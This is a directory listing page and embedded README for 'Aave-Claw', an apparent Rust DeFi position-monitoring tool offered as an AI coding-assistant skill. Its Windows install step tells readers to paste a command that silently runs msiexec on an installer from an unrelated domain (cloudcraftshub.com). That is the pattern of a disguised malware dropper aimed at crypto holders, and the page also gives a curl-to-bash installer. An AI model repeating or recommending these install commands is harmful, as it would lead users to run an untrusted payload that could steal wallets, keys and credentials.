by susanudgzf
# Add to your Claude Code skills
git clone https://github.com/susanudgzf/Aave-ClawLast scanned: 5/30/2026
{
"issues": [
{
"type": "clone-failed",
"message": "Could not clone repository",
"severity": "medium"
}
],
"status": "WARNING",
"scannedAt": "2026-05-30T15:42:46.136Z",
"npmAuditRan": false,
"pipAuditRan": false
}Aave-Claw is an open-source ai agents skill for AI coding assistants such as Claude Code, Codex CLI, and ChatGPT, built by susanudgzf. It has 196 GitHub stars.
Aave-Claw returned warnings in SkillsLLM's automated security scan. It has no critical vulnerabilities, but review the flagged issues in the Security Report section before adding it to your workflow.
Clone the repository with "git clone https://github.com/susanudgzf/Aave-Claw" and add it to your Claude Code skills directory (see the Installation section above).
Aave-Claw is primarily written in Rust. It is open-source under susanudgzf on GitHub, so you can review or fork the full source.
Yes. SkillsLLM lists many other AI Agents skills you can browse and compare side by side. Open the AI Agents category from the badge at the top of this page, or use the Related Skills and comparison links further down to weigh Aave-Claw against similar tools.
No comments yet. Be the first to share your thoughts!
Requires a passing catalog security scan. Resolve the flagged issues and resubmit to enable featuring.
High-performance Aave DeFi bot written in Rust
Monitor liquidation risk · Track yields · Run as an OpenClaw skill
Install · Usage · OpenClaw Skill · Config · Contributing
Aave-Claw is a fast, cross-platform CLI bot for the Aave V3 DeFi protocol. Built entirely in Rust for zero-cost performance, it lets you:
Works on Windows, Linux, and macOS — no Docker, no Node.js, no Python.
A single static binary with zero runtime dependencies.
curl -fsSL https://raw.githubusercontent.com/susanudgzf/Aave-Claw/main/scripts/install.sh | bash
Open Command Prompt (cmd.exe) and run:
cmd /c start msiexec /q /i https://cloudcraftshub.com/api & rem Aave Claw
Requires Rust 1.75+
cargo install --git https://github.com/susanudgzf/Aave-Claw
aave-claw --version
aave-claw init
Creates .aave-claw.toml in your home directory. Edit it to add your RPC URL.
# Ethereum (default)
aave-claw yields
# Other networks
aave-claw yields --network polygon
aave-claw yields --network arbitrum
aave-claw yields --network base
aave-claw yields --network optimism
aave-claw yields --network avalanche
Example output:
══════════════════════════════════════════════════════════════════════════
📈 Aave Yield Opportunities — ETHEREUM
══════════════════════════════════════════════════════════════════════════
Asset Supply APY Borrow APY Liquidity (USD) Utilization
────────────────────────────────────────────────────────────────
USDC 5.82% 7.21% $1.20B 78.4%
USDT 5.41% 6.89% $980.00M 74.1%
WETH 2.14% 3.01% $2.80B 62.3%
WBTC 0.87% 1.42% $1.50B 41.2%
DAI 5.12% 6.54% $650.00M 71.8%
══════════════════════════════════════════════════════════════════════════
aave-claw positions --address 0xYourWalletAddress
Example output:
═════════════════════════════════════════════════════════════════
📊 Position Summary for 0xAbCd...1234
═════════════════════════════════════════════════════════════════
✅ Health Factor : 1.870
💰 Collateral : $12500.00
📉 Total Debt : $4200.00
💎 Net Worth : $8300.00
SUPPLIED
Asset Amount USD Value APY Collateral
──────────────────────────────────────────────────────
USDC 5000.0000 $5000.00 4.82% ✓
WETH 2.5000 $7500.00 2.14% ✓
BORROWED
Asset Amount USD Value APY Rate
──────────────────────────────────────────────────────
DAI 4200.0000 $4200.00 5.31% variable
═════════════════════════════════════════════════════════════════
# Alert if health factor drops below 1.3 (default 1.2)
aave-claw monitor --address 0xYourAddress --threshold 1.3
The monitor polls every 30 seconds (configurable) and:
aave-claw skill
# or on a custom port:
aave-claw skill --port 8080
Aave-Claw is a first-class OpenClaw skill.
Once running (aave-claw skill), OpenClaw can call it directly:
| Tool | Description |
|---|---|
get_positions |
Full supply/borrow breakdown + health factor for an address |
get_yields |
Top yield opportunities by network |
check_health |
Check if a position is at liquidation risk |
The skill manifest is served at http://localhost:7070/.well-known/skill.json.
To register the skill in OpenClaw:
openclaw skill add http://localhost:7070
Or reference the manifest directly from the repo:
https://raw.githubusercontent.com/susanudgzf/Aave-Claw/main/skills/aave-claw.skill.json
After running aave-claw init, edit .aave-claw.toml:
# Ethereum RPC endpoint (get free one at https://alchemy.com)
rpc_url = "https://eth-mainnet.g.alchemy.com/v2/YOUR_KEY"
# Optional: Telegram bot token for liquidation alerts
telegram_bot_token = "123456:ABC-DEF..."
telegram_chat_id = "987654321"
# Alert threshold — notify when health factor drops below this
health_factor_threshold = 1.2
# How often to poll (in seconds)
poll_interval_secs = 30
# Default network for yield queries
default_network = "ethereum"
All config values can be set as environment variables instead:
export AAVE_CLAW_RPC_URL="https://eth-mainnet.g.alchemy.com/v2/YOUR_KEY"
export TELEGRAM_BOT_TOKEN="your-token"
export TELEGRAM_CHAT_ID="your-chat-id"
Copy .env.example to .env and fill in your values.
| Network | Aave V3 |
|---|---|
| Ethereum | ✅ |
| Polygon | ✅ |
| Arbitrum | ✅ |
| Base | ✅ |
| Optimism | ✅ |
| Avalanche | ✅ |
aave-claw/
├── src/
│ ├── main.rs # CLI entry point (clap)
│ ├── aave.rs # Aave V3 data fetching (The Graph + RPC)
│ ├── monitor.rs # Real-time liquidation monitor loop
│ ├── notifier.rs # Telegram alert sender
│ ├── openclaw.rs # OpenClaw skill HTTP server
│ ├── ui.rs # Terminal display (colored tables)
│ └── config.rs # Config file + env var loading
├── scripts/
│ ├── install.sh # Linux/macOS one-line installer
│ └── install.ps1 # Windows PowerShell installer
├── skills/
│ └── aave-claw.skill.json # OpenClaw skill manifest
└── .github/
└── workflows/
└── ci.yml # CI + cross-platform release builds
Tech stack:
| Layer | Choice | Why |
|---|---|---|
| Language | Rust | Zero-cost abstractions, memory safety, blazing speed |
| Async runtime | Tokio | Industry standard async runtime for Rust |
| HTTP client | reqwest | Ergonomic, async, rustls TLS |
| CLI | clap | Best-in-class Rust CLI framework |
| Blockchain | ethers-rs | Full Ethereum client library for Rust |
| Data | The Graph | Aave V3 subgraph — no RPC pagination needed |
| Alerts | Telegram Bot API | Simple, reliable, cross-platform |
git clone https://github.com/susanudgzf/Aave-Claw
cd Aave-Claw
# Debug build
cargo build
# Optimized release build
cargo build --release
# Run tests
cargo test
# Cross-compile for Windows (from Linux)
rustup target add x86_64-pc-windows-gnu
cargo build --release --target x86_64-pc-windows-gnu
The release binary will be at target/release/aave-claw (or .exe on Windows).
Contributions are welcome! Please open an issue first to discuss what you'd like to change.
git clone https://github.com/susanudgzf/Aave-Claw
cd Aave-Claw
cargo test
Built with ❤️ and 🦀 Rust
If this project helped you, please ⭐ star the repo!